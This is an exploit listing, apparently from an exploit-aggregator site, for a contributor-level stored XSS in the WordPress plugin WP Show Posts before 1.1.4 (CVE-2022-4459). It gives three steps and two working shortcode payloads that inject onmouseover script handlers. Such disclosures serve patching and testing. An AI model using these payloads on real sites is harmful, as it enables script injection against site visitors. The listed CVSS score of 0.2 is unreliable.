Exploit for WP Show Posts < 1.1.4 - Contributor+ Stored XSS CVE-2022-4459

Name: Exploit for WP Show Posts < 1.1.4 - Contributor+ Stored XSS CVE-2022-4459
Rating: 5 (56 reviews)

2023-01-11 | CVSS 0.2

## https://sploitus.com/exploit?id=WPEX-ID:3EF4783B-4E4A-4691-B858-A7FA8DADA4EC
1. Add a new list and get the ID.

2. Insert the following shortcode with the ID and submit the draft/save.

[wp_show_posts id='1' settings='inner_wrapper=div+onmouseover=alert(1)']

[wp_show_posts id='608" onmouseover=alert(/XSS1/)//']

3. Browse the post preview, and hover over the content; the alert triggers successfully.